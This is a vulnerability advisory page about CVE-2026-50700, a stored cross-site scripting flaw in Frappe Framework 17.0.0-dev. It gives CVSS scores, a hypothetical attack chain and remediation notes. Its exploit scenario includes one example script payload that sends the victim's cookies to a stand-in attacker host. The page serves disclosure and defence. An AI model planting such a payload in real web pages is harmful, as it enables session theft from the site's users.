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Frappe Framework CVE-2026-50700

| EUVDEUVD-2026-38796 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-24 Fluid Attacks GHSA-g6fv-rq4p-qq28
XSS Frappe Framework
4.6
CVSS 4.0 · Vendor: Fluid Attacks
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Severity by source

Vendor (Fluid Attacks) PRIMARY
4.6 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
4.8 MEDIUM

PR:H reflects mandatory high-privilege access to store the payload; S:C and C:L/I:L capture cross-user browser session impact with no server-side confidentiality or availability breach.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Fluid Attacks).

CVSS VectorVendor: Fluid Attacks

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
A
Scope
X

Lifecycle Timeline

1
Analysis Generated
Jun 24, 2026 - 15:55 vuln.today

DescriptionCVE.org

A Stored Cross-Site Scripting (XSS) vulnerability exists in Frappe Framework version 17.0.0-dev due to improper neutralization of user-controlled input in the frappe.get_avatar function.

AnalysisAI

Stored XSS in Frappe Framework 17.0.0-dev allows high-privileged authenticated attackers to inject persistent malicious scripts via the frappe.get_avatar function, which execute in victims' browsers when the crafted content is rendered. The CVSS 4.0 score of 4.6 (Medium) reflects the PR:H requirement to store the payload and UI:A requirement for victim interaction, with impact limited to subsequent systems (other users' sessions). …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Attain high-privilege Frappe account
Delivery
Inject XSS payload via frappe.get_avatar input field
Exploit
Payload persisted in application database
Execution
Victim user loads page rendering avatar output
Persist
Browser executes stored malicious script
Impact
Session tokens or credentials exfiltrated to attacker
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Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to already possess high-privilege credentials within the Frappe application (confirmed by PR:H in the CVSS 4.0 vector), sufficient to supply user-controlled input to the `frappe.get_avatar` function. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 4.6 (Medium) is proportionate to the actual risk profile. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A Frappe administrator or high-privileged user supplies a JavaScript payload (e.g., `<script>document.location='https://attacker.example/steal?c='+document.cookie</script>`) as input to a field consumed by the `frappe.get_avatar` function. The payload is stored in the application database. …
Remediation No vendor-released patch version has been identified in the available data; the fix status must be verified directly against the Frappe GitHub repository at https://github.com/frappe/frappe by searching for commits or tagged releases that address sanitization in the `frappe.get_avatar` function after the 17.0.0-dev baseline. … Detailed patch versions, workarounds, and compensating controls in full report.
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Threat intelligence, references, and detailed analysis are available after sign-in.

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Same weakness CWE-79 – Cross-site Scripting (XSS)

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CVE-2026-50700 vulnerability details – vuln.today
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